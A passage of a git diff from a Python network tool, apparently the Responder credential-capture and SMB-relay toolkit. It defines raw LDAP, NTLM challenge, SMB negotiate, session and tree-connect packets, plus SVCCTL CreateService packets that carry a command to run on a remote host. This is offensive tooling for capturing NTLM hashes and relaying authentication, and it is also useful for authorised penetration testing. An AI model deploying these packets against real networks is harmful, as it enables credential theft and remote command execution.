for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
|
||||
class LDAPSearchDefaultPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLen", "\x0c"),
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x0f"),
|
||||
("OpHeadASNID", "\x65"),
|
||||
("OpHeadASNIDLen", "\x07"),
|
||||
("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
|
||||
])
|
||||
|
||||
class LDAPSearchSupportedCapabilitiesPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x64"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117
|
||||
("ObjectName", "\x04\x00"),
|
||||
("SearchAttribASNID", "\x30"),
|
||||
("SearchAttribASNLenOfLen", "\x84"),
|
||||
("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109
|
||||
("SearchAttribASNID1", "\x30"),
|
||||
("SearchAttribASN1LenOfLen", "\x84"),
|
||||
("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103
|
||||
("SearchAttribASN2ID", "\x04"),
|
||||
("SearchAttribASN2Len", "\x15"),#21
|
||||
("SearchAttribASN2Str", "supportedCapabilities"),
|
||||
("SearchAttribASN3ID", "\x31"),
|
||||
("SearchAttribASN3LenOfLen", "\x84"),
|
||||
("SearchAttribASN3Len", "\x00\x00\x00\x4a"),
|
||||
("SearchAttrib1ASNID", "\x04"),
|
||||
("SearchAttrib1ASNLen", "\x16"),#22
|
||||
("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"),
|
||||
("SearchAttrib2ASNID", "\x04"),
|
||||
("SearchAttrib2ASNLen", "\x17"),#23
|
||||
("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"),
|
||||
("SearchAttrib3ASNID", "\x04"),
|
||||
("SearchAttrib3ASNLen", "\x17"),#23
|
||||
("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"),
|
||||
("SearchDoneASNID", "\x30"),
|
||||
("SearchDoneASNLenOfLen", "\x84"),
|
||||
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
|
||||
("MessageIDASN2ID", "\x02"),
|
||||
("MessageIDASN2Len", "\x01"),
|
||||
("MessageIDASN2Str", "\x02"),
|
||||
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
|
||||
## No need to calculate anything this time, this packet is generic.
|
||||
])
|
||||
|
||||
class LDAPSearchSupportedMechanismsPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\x60"),#96
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x64"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87
|
||||
("ObjectName", "\x04\x00"),
|
||||
("SearchAttribASNID", "\x30"),
|
||||
("SearchAttribASNLenOfLen", "\x84"),
|
||||
("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79
|
||||
("SearchAttribASNID1", "\x30"),
|
||||
("SearchAttribASN1LenOfLen", "\x84"),
|
||||
("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73
|
||||
("SearchAttribASN2ID", "\x04"),
|
||||
("SearchAttribASN2Len", "\x17"),#23
|
||||
("SearchAttribASN2Str", "supportedSASLMechanisms"),
|
||||
("SearchAttribASN3ID", "\x31"),
|
||||
("SearchAttribASN3LenOfLen", "\x84"),
|
||||
("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42
|
||||
("SearchAttrib1ASNID", "\x04"),
|
||||
("SearchAttrib1ASNLen", "\x06"),#6
|
||||
("SearchAttrib1ASNStr", "GSSAPI"),
|
||||
("SearchAttrib2ASNID", "\x04"),
|
||||
("SearchAttrib2ASNLen", "\x0a"),#10
|
||||
("SearchAttrib2ASNStr", "GSS-SPNEGO"),
|
||||
("SearchAttrib3ASNID", "\x04"),
|
||||
("SearchAttrib3ASNLen", "\x08"),#8
|
||||
("SearchAttrib3ASNStr", "EXTERNAL"),
|
||||
("SearchAttrib4ASNID", "\x04"),
|
||||
("SearchAttrib4ASNLen", "\x0a"),#10
|
||||
("SearchAttrib4ASNStr", "DIGEST-MD5"),
|
||||
("SearchDoneASNID", "\x30"),
|
||||
("SearchDoneASNLenOfLen", "\x84"),
|
||||
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
|
||||
("MessageIDASN2ID", "\x02"),
|
||||
("MessageIDASN2Len", "\x01"),
|
||||
("MessageIDASN2Str", "\x02"),
|
||||
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
|
||||
## No need to calculate anything this time, this packet is generic.
|
||||
])
|
||||
|
||||
class LDAPNTLMChallenge(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x61"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199
|
||||
("Status", "\x0A"),
|
||||
("StatusASNLen", "\x01"),
|
||||
("StatusASNStr", "\x0e"), #In Progress.
|
||||
("MatchedDN", "\x04\x00"), #Null
|
||||
("ErrorMessage", "\x04\x00"), #Null
|
||||
("SequenceHeader", "\x87"),
|
||||
("SequenceHeaderLenOfLen", "\x81"),
|
||||
("SequenceHeaderLen", "\x82"), #188
|
||||
("NTLMSSPSignature", "NTLMSSP"),
|
||||
("NTLMSSPSignatureNull", "\x00"),
|
||||
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
|
||||
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
|
||||
("NegTokenInitSeqMechMessageVersionLow","\x02"),
|
||||
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
|
||||
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||
("NTLMSSPNtWorkstationName","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
##Convert strings to Unicode first...
|
||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
||||
|
||||
###### Workstation Offset
|
||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||
|
||||
###### AvPairs Offset
|
||||
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
###### LDAP Packet Len
|
||||
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
|
||||
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
##### LDAP Len Calculation:
|
||||
self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
|
||||
self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
|
||||
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
|
||||
|
||||
##### Workstation Offset Calculation:
|
||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
|
||||
##### IvPairs Offset Calculation:
|
||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
##### IvPair Calculation:
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||
|
|
@ -1,160 +0,0 @@
|
|||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x08"),
|
||||
("flag2", "\x01\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x3c\x1b"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x00"),
|
||||
("bcc", "\x54\x00"),
|
||||
("separator1","\x02" ),
|
||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("separator2","\x02"),
|
||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
])
|
||||
def calculate(self):
|
||||
CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
|
||||
self.fields["bcc"] = struct.pack("<h",len(CalculateBCC))
|
||||
|
||||
class SMBSessionData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0a"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00"),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\xff\xff"),
|
||||
("maxmpx", "\x02\x00"),
|
||||
("vcnum","\x01\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("PasswordLen","\x18\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("bcc","\x3b\x00"),
|
||||
("AccountPassword",""),
|
||||
("AccountName",""),
|
||||
("AccountNameTerminator","\x00"),
|
||||
("PrimaryDomain","WORKGROUP"),
|
||||
("PrimaryDomainTerminator","\x00"),
|
||||
("NativeOs","Unix"),
|
||||
("NativeOsTerminator","\x00"),
|
||||
("NativeLanman","Samba"),
|
||||
("NativeLanmanTerminator","\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
|
||||
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
|
||||
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
|
||||
|
||||
class SMBTreeConnectData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved","\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("Flags","\x08\x00"),
|
||||
("PasswdLen", "\x01\x00"),
|
||||
("Bcc","\x1b\x00"),
|
||||
("Passwd", "\x00"),
|
||||
("Path",""),
|
||||
("PathTerminator","\x00"),
|
||||
("Service","?????"),
|
||||
("Terminator", "\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
|
||||
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||
self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
|
||||
|
||||
class RAPNetServerEnum3Data(Packet):
|
||||
fields = OrderedDict([
|
||||
("Command", "\xd7\x00"),
|
||||
("ParamDescriptor", "WrLehDzz"),
|
||||
("ParamDescriptorTerminator", "\x00"),
|
||||
("ReturnDescriptor","B16BBDz"),
|
||||
("ReturnDescriptorTerminator", "\x00"),
|
||||
("DetailLevel", "\x01\x00"),
|
||||
("RecvBuff","\xff\xff"),
|
||||
("ServerType", "\x00\x00\x00\x80"),
|
||||
("TargetDomain","SMB"),
|
||||
("RapTerminator","\x00"),
|
||||
("TargetName","ABCD"),
|
||||
("RapTerminator2","\x00"),
|
||||
])
|
||||
|
||||
class SMBTransRAPData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0e"),
|
||||
("TotalParamCount", "\x24\x00"),
|
||||
("TotalDataCount","\x00\x00" ),
|
||||
("MaxParamCount", "\x08\x00"),
|
||||
("MaxDataCount","\xff\xff"),
|
||||
("MaxSetupCount", "\x00"),
|
||||
("Reserved","\x00\x00"),
|
||||
("Flags", "\x00"),
|
||||
("Timeout","\x00\x00\x00\x00"),
|
||||
("Reserved1","\x00\x00"),
|
||||
("ParamCount","\x24\x00"),
|
||||
("ParamOffset", "\x5a\x00"),
|
||||
("DataCount", "\x00\x00"),
|
||||
("DataOffset", "\x7e\x00"),
|
||||
("SetupCount", "\x00"),
|
||||
("Reserved2", "\x00"),
|
||||
("Bcc", "\x3f\x00"),
|
||||
("Terminator", "\x00"),
|
||||
("PipeName", "\\PIPE\\LANMAN"),
|
||||
("PipeTerminator","\x00\x00"),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
#Padding
|
||||
if len(str(self.fields["Data"]))%2==0:
|
||||
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
|
||||
else:
|
||||
self.fields["PipeTerminator"] = "\x00\x00\x00"
|
||||
##Convert Path to Unicode first before any Len calc.
|
||||
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
|
||||
##Data Len
|
||||
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
##Packet len
|
||||
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
|
||||
|
||||
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
|
||||
##Bcc Buff Len
|
||||
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
|
||||
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
132
RelayPackets.py
132
RelayPackets.py
|
@ -30,27 +30,20 @@ class Packet():
|
|||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
##################################################################################
|
||||
#SMB Client Stuff
|
||||
##################################################################################
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("errorcode", "\x00\x00\x00\x00"),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x4e"),
|
||||
("uid", "\x00\x08"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
|
@ -285,7 +278,6 @@ class SMBDCESVCCTLOpenManagerW(Packet):
|
|||
## Convert to UTF-16LE
|
||||
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
|
||||
|
||||
|
||||
class SMBDCESVCCTLCreateService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
|
@ -332,8 +324,6 @@ class SMBDCESVCCTLCreateService(Packet):
|
|||
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
|
||||
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
|
||||
|
||||
|
||||
|
||||
class SMBDCESVCCTLOpenService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
|
@ -362,119 +352,3 @@ def ParseAnswerKey(data,host):
|
|||
key = data[73:81]
|
||||
print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
|
||||
return key
|
||||
|
||||
##################################################################################
|
||||
#SMB Server Stuff
|
||||
##################################################################################
|
||||
|
||||
#Calculate total SMB packet len.
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
#Set MID SMB Header field.
|
||||
def midcalc(data):
|
||||
pack=data[34:36]
|
||||
return pack
|
||||
|
||||
#Set UID SMB Header field.
|
||||
def uidcalc(data):
|
||||
pack=data[32:34]
|
||||
return pack
|
||||
|
||||
#Set PID SMB Header field.
|
||||
def pidcalc(data):
|
||||
pack=data[30:32]
|
||||
return pack
|
||||
|
||||
#Set TID SMB Header field.
|
||||
def tidcalc(data):
|
||||
pack=data[28:30]
|
||||
return pack
|
||||
|
||||
#SMB Header answer packet.
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("errorcode", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x80"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\xff\xfe"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
#SMB Negotiate Answer packet.
|
||||
class SMBNegoAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("Maxbuffsize", "\x04\x11\x00\x00"),
|
||||
("Maxrawbuff", "\x00\x00\x01\x00"),
|
||||
("Sessionkey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfd\x43\x00\x00"),
|
||||
("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"),
|
||||
("Keylength", "\x08"),
|
||||
("Bcc", "\x10\x00"),
|
||||
("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
|
||||
("Domain", ""),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
##Then calculate.
|
||||
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
||||
|
||||
# SMB Session/Tree Answer.
|
||||
class SMBSessTreeAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x03"),
|
||||
("Command", "\x75"),
|
||||
("Reserved", "\x00"),
|
||||
("AndXoffset", "\x4e\x00"),
|
||||
("Action", "\x01\x00"),
|
||||
("Bcc", "\x25\x00"),
|
||||
("NativeOs", "Windows 5.1"),
|
||||
("NativeOsNull", "\x00"),
|
||||
("NativeLan", "Windows 2000 LAN Manager"),
|
||||
("NativeLanNull", "\x00"),
|
||||
("WordcountTree", "\x03"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved1", "\x00"),
|
||||
("AndxOffset", "\x00\x00"),
|
||||
("OptionalSupport", "\x01\x00"),
|
||||
("Bcc2", "\x08\x00"),
|
||||
("Service", "A:"),
|
||||
("ServiceNull", "\x00"),
|
||||
("FileSystem", "NTFS"),
|
||||
("FileSystemNull", "\x00"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##AndxOffset
|
||||
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
|
||||
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]#SMB Header is *always* 32.
|
||||
##BCC 1 and 2
|
||||
